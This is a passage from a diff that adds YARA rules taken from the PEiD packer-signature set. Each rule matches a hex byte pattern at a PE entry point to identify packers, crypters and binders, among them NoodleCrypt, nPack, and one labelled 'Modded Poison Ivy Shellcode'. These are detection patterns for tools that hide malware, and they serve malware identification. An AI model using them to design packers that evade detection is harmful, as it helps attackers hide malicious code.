+        $a = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01252_MZ0oPE_1_0_6b____TaskFall_
+{
+    meta:
+        description = "[MZ0oPE 1.0.6b -> TaskFall]"
+        ep_only = "true"
+    strings:
+        $a = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01253_MZ0oPE_1_0_6b____TaskFall_
+{
+    meta:
+        description = "[MZ0oPE 1.0.6b -> TaskFall]"
+        ep_only = "true"
+    strings:
+        $a = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4C 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01254_MZ_Crypt_1_0___by_BrainSt0rm_
+{
+    meta:
+        description = "[MZ_Crypt 1.0 - by BrainSt0rm]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 25 14 40 00 8B BD 77 14 40 00 8B 8D 7F 14 40 00 EB 28 83 7F 1C 07 75 1E 8B 77 0C 03 B5 7B 14 40 00 33 C0 EB 0C 50 8A A5 83 14 40 00 30 26 58 40 46 3B 47 10 76 EF 83 C7 28 49 0B C9 75 D4 8B 85 73 14 40 00 89 44 24 1C 61 FF E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01255_N_Joiner_0_1__Asm_Version_____NEX_
+{
+    meta:
+        description = "[N-Joiner 0.1 (Asm Version) -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 68 00 14 40 00 68 00 10 40 00 6A 00 E8 14 00 00 00 6A 00 E8 13 00 00 00 CC FF 25 AC 12 40 00 FF 25 B0 12 40 00 FF 25 B4 12 40 00 FF 25 B8 12 40 00 FF 25 BC 12 40 00 FF 25 C0 12 40 00 FF 25 C4 12 40 00 FF 25 C8 12 40 00 FF 25 CC 12 40 00 FF 25 D0 12 40 00 FF 25 D4 12 40 00 FF 25 D8 12 40 00 FF 25 DC 12 40 00 FF 25 E4 12 40 00 FF 25 EC 12 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01256_N_Joy_1_0____NEX_
+{
+    meta:
+        description = "[N-Joy 1.0 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 9C 3B 40 00 E8 8C FC FF FF 6A 00 68 E4 39 40 00 6A 0A 6A 00 E8 40 FD FF FF E8 EF F5 FF FF 8D 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01257_N_Joy_1_1____NEX_
+{
+    meta:
+        description = "[N-Joy 1.1 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 0C 3C 40 00 E8 24 FC FF FF 6A 00 68 28 3A 40 00 6A 0A 6A 00 E8 D8 FC FF FF E8 7F F5 FF FF 8D 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01258_N_Joy_1_2____NEX_
+{
+    meta:
+        description = "[N-Joy 1.2 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 A4 32 40 00 E8 E8 F1 FF FF 6A 00 68 54 2A 40 00 6A 0A 6A 00 E8 A8 F2 FF FF E8 C7 EA FF FF 8D 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01259_N_Joy_1_3____NEX_
+{
+    meta:
+        description = "[N-Joy 1.3 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 48 36 40 00 E8 54 EE FF FF 6A 00 68 D8 2B 40 00 6A 0A 6A 00 E8 2C EF FF FF E8 23 E7 FF FF 8D 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01260_Naked_Packer_V1_0____BigBoote_
+{
+    meta:
+        description = "[Naked Packer V1.0 -> BigBoote]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC 0F B6 05 ?? ?? ?? ?? 85 C0 75 31 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9A 00 00 00 A3 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? 01 83 3D ?? ?? ?? ?? 00 75 07 61 FF 25 ?? ?? ?? ?? 61 FF 74 24 04 6A 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01261_Naked_Packer_V1_X____BigBoote_
+{
+    meta:
+        description = "[Naked Packer V1.X -> BigBoote]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01262_Nakedbind_1_0____nakedcrew_
+{
+    meta:
+        description = "[Nakedbind 1.0 -> nakedcrew]"
+        ep_only = "true"
+    strings:
+        $a = {64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B 4D 5A 74 08 81 EB 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01263_NakedPacker_1_0___by_BigBoote_
+{
+    meta:
+        description = "[NakedPacker 1.0 - by BigBoote]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01264_NakedPacker_1_0___by_BigBoote_
+{
+    meta:
+        description = "[NakedPacker 1.0 - by BigBoote]"
+        ep_only = "false"
+    strings:
+        $a = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 40 ?? ?? ?? C3 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 48 ?? ?? ?? C3 8B 4C 24 04 56 8B 74 24 10 57 85 F6 8B F9 74 0D 8B 54 24 10 8A 02 88 01}
+    condition:
+        $a
+}
+
+rule PEiD_01265_Native_UD_Packer_1_1__Modded_Poison_Ivy_Shellcode_____okkixot_
+{
+    meta:
+        description = "[Native UD Packer 1.1 (Modded Poison Ivy Shellcode) -> okkixot]"
+        ep_only = "true"
+    strings:
+        $a = {31 C0 31 DB 31 C9 EB 0E 6A 00 6A 00 6A 00 6A 00 FF 15 28 41 40 00 FF 15 94 40 40 00 89 C7 68 88 13 00 00 FF 15 98 40 40 00 FF 15 94 40 40 00 81 C7 88 13 00 00 39 F8 73 05 E9 84 00 00 00 6A 40 68 00 10 00 00 FF 35 04 30 40 00 6A 00 FF 15 A4 40 40 00 89 C7 FF 35 04 30 40 00 68 CA 10 40 00 50 FF 15 A8 40 40 00 6A 40 68 00 10 00 00 FF 35 08 30 40 00 6A 00 FF 15 A4 40 40 00 89 C6 68 00 30 40 00 FF 35 04 30 40 00 57 FF 35 08 30 40 00 50 6A 02 FF 15 4E 41 40 00 6A 00 6A 00 6A 00 56 6A 00 6A 00 FF 15 9C 40 40 00 50 6A 00 6A 00 6A 11 50 FF 15 4A 41 40 00 58 6A FF 50 FF 15 AC 40 40 00 6A 00 FF 15 A0 40}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01266_nBinder_v3_6_1_
+{
+    meta:
+        description = "[nBinder v3.6.1]"
+        ep_only = "false"
+    strings:
+        $a = {6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C 00 5C 6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C}
+    condition:
+        $a
+}
+
+rule PEiD_01267_nBinder_v4_0_
+{
+    meta:
+        description = "[nBinder v4.0]"
+        ep_only = "false"
+    strings:
+        $a = {5C 6E 62 34 5F 74 6D 70 5F 30 31 33 32 34 35 34 33 35 30 5C 00 00 00 00 00 00 00 00 00 E9 55 43 4C FF 01 1A 00 00 00 00 96 30 07 77 2C 61 0E EE BA 51 09 99 19 C4 6D 07 8F F4 6A 70 35 A5 63 E9 A3 95 64 9E 32 88 DB 0E A4 B8 DC 79}
+    condition:
+        $a
+}
+
+rule PEiD_01268_nbuild_v1_0__soft_
+{
+    meta:
+        description = "[nbuild v1.0 [soft]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BB ?? ?? C0 ?? ?? 80 ?? ?? 43 E2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01269_NeoLite_v1_0_
+{
+    meta:
+        description = "[NeoLite v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 04 8D 54 24 FC 23 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 FF 25}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01270_NeoLite_v1_0_
+{
+    meta:
+        description = "[NeoLite v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 9B 00 00 00 A0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01271_NeoLite_v2_00_
+{
+    meta:
+        description = "[NeoLite v2.00]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 04 23 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01272_Neolite_v2_0_
+{
+    meta:
+        description = "[Neolite v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 A6 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01273_Netopsystems_FEAD_Optimizer_
+{
+    meta:
+        description = "[Netopsystems FEAD Optimizer]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 50 43 00 8D BE 00 C0 FC FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01274_Netopsystems_FEAD_Optimizer_
+{
+    meta:
+        description = "[Netopsystems FEAD Optimizer]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB 00 00 40 00 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01275_NFO_v1_0_
+{
+    meta:
+        description = "[NFO v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8 8C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01276_nMacro_recorder_1_0_
+{
+    meta:
+        description = "[nMacro recorder 1.0]"
+        ep_only = "false"
+    strings:
+        $a = {5C 6E 6D 72 5F 74 65 6D 70 2E 6E 6D 72 00 00 00 72 62 00 00 58 C7 41 00 10 F8 41 00 11 01 00 00 00 00 00 00 46 E1 00 00 46 E1 00 00 35 00 00 00 F6 88 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_01277_NME_1_1_Public___by_redlime_
+{
+    meta:
+        description = "[NME 1.1 Public - by redlime]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01278_NME_1_1_Public___by_redlime_
+{
+    meta:
+        description = "[NME 1.1 Public - by redlime]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 2C F9 FF FF A3 F8 5A 14 13 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 17 F9 FF FF A3 FC 5A 14 13 B8 04 5C 14 13 E8 20 FB FF FF 8B D8 85 DB 74 48 B8 00 5B 14 13 8B 15 C4 45 14 13 E8 1E E7 FF FF A1 04 5C 14 13 E8 A8 DA FF FF ?? ?? ?? ?? 5C 14 13 50 8B CE 8B D3 B8 00 5B 14 13 ?? ?? ?? ?? FF 8B C6 E8 DF FB FF FF 8B C6 E8 9C DA FF FF B8 00 5B 14 13 E8 72 E7 FF FF 33 C0 5A 59 59 64 89 10 68 73 36 14 13 C3 E9 0F DF FF FF EB F8 5E 5B E8 7E E0 FF FF 00 00 FF FF FF FF 0C 00 00 00 4E 4D 45 20 31 2E 31 20 53 74 75 62}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01279_NoName_Packer_
+{
+    meta:
+        description = "[NoName Packer]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 2E 34 46 00 B9 55 4A 46 00 81 E9 26 37 46 00 89 EA 81 C2 26 37 46 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01280_NoodleCrypt_2_00__Eng_____NoodleSpa_
+{
+    meta:
+        description = "[NoodleCrypt 2.00 (Eng) -> NoodleSpa]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02}
+    condition:
+        $a
+}
+
+rule PEiD_01281_NoodleCrypt_v2_00__Eng_____NoodleSpa_
+{
+    meta:
+        description = "[NoodleCrypt v2.00 (Eng) -> NoodleSpa]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02 04 00 00 EB 01 9A E8 19 07 00 00 EB 01 9A E8 9C 00 00 00 EB 01 9A E8 9C 06 00 00 E8 00 00 00 00 0F 7E F8 EB 01 9A 8B F8 C3 E8 00 00 00 00 58 EB 01 9A 25 00 F0 FF FF 8B F8 EB 01 9A 0F 6E F8 C3 8B D0 EB 01 9A 81 C2 C8 00 00 00 EB 01 9A B9 00 17 00 00 EB 01 9A C0 0A 06 EB 01 9A 80 2A 15 EB 01 9A 42 E2 EE 0F 6E C0 EB 01 9A 0F 7E C0 EB 01 9A 8B D0 00 85 EB A5 F5 65 4B 45 45 00 85 EB B3 65 07 45 45 00 85 EB 75 C7 C6 00 85 EB 65 CF 8A 00 85 EB D5 FD C0 00 85 EB 7F E5 05 05 05 00 85 EB 7F 61 06 45 45 00 85 EB 7F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01282_NoodleCrypt_v2_0_
+{
+    meta:
+        description = "[NoodleCrypt v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01283_NoodleCrypt_v2_0_
+{
+    meta:
+        description = "[NoodleCrypt v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 9A E8 ?? 00 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01284_Noodlecrypt2____r_sc_
+{
+    meta:
+        description = "[Noodlecrypt2 -> r!sc]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 9A E8 76 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01285_North_Star_PE_Shrinker_1_3____Liuxingping_
+{
+    meta:
+        description = "[North Star PE Shrinker 1.3 -> Liuxingping]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01286_North_Star_PE_Shrinker_1_3_by_Liuxingping_
+{
+    meta:
+        description = "[North Star PE Shrinker 1.3 by Liuxingping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01}
+    condition:
+        $a
+}
+rule PEiD_01287_North_Star_PE_Shrinker_v1_3_by_Liuxingping_
+{
+    meta:
+        description = "[North Star PE Shrinker v1.3 by Liuxingping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 A3 ?? FF FF 85 C0 0F 84 06 03 00 00 89 85 63 ?? FF FF E8 00 00 00 00 5B B9 31 89 40 00 81 E9 2E 86 40 00 03 D9 50 53 E8 3D 02 00 00 61 03 BD 47 ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 A7 ?? FF FF FF B5 A3 ?? FF FF 56 57 FF 95 63 ?? FF FF 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB CE 68 00 80 00 00 6A 00 FF B5 63 ?? FF FF FF 95 A7 ?? FF FF 8D}
+    condition:
+        $a
+}
+
+rule PEiD_01288_Norton_Speed_Disk_Configuration_file_
+{
+    meta:
+        description = "[Norton Speed Disk Configuration file]"
+        ep_only = "false"
+    strings:
+        $a = {4E 6F 72 74 6F 6E 20 53 70 65 65 64}
+    condition:
+        $a
+}
+
+rule PEiD_01289_nPack_1_1_150_2006_Beta____NEOx_
+{
+    meta:
+        description = "[nPack 1.1.150.2006.Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01290_nPack_1_1_150_2006_Beta____NEOx_
+{
+    meta:
+        description = "[nPack 1.1.150.2006.Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01291_nPack_1_1_250_2006_Beta____NEOx__uinC__
+{
+    meta:
+        description = "[nPack 1.1.250.2006.Beta -> NEOx/[uinC]]"
+        ep_only = "false"
+    strings:
+        $a = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+    condition:
+        $a
+}
+
+rule PEiD_01292_nPack_1_1_300_2006_Beta____NEOx_
+{
+    meta:
+        description = "[nPack 1.1.300.2006 Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 2D 02 00 00 E8 DD 06 00 00 E8 2C 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01293_nPack_v1_1_150_200_Beta____NEOx_
+{
+    meta:
+        description = "[nPack v1.1 150-200 Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? 00 E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01294_nPack_v1_1_250_Beta____NEOx_
+{
+    meta:
+        description = "[nPack v1.1 250 Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01295_nPack_V1_1_150_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.150.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01296_nPack_V1_1_150_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.150.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68 54 ?? ?? ?? FF 15 00 ?? ?? ?? 8B 35 08 ?? ?? ?? 8B F8 68 44 ?? ?? ?? 57 FF D6 68 38 ?? ?? ?? 57 A3 38 ?? ?? ?? FF D6 5F A3 34 ?? ?? ?? 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01297_nPack_V1_1_200_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.200.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 EC 01 00 00 E8 F8 06 00 00 E8 03 06 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01298_nPack_V1_1_250_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.250.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01299_nPack_v1_1_xxx____NEOx_
+{
+    meta:
+        description = "[nPack v1.1.xxx -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? 00 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 08 ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 ?? 02 00 00 E8 ?? 06 00 00 E8 ?? 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? 00 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+    condition:
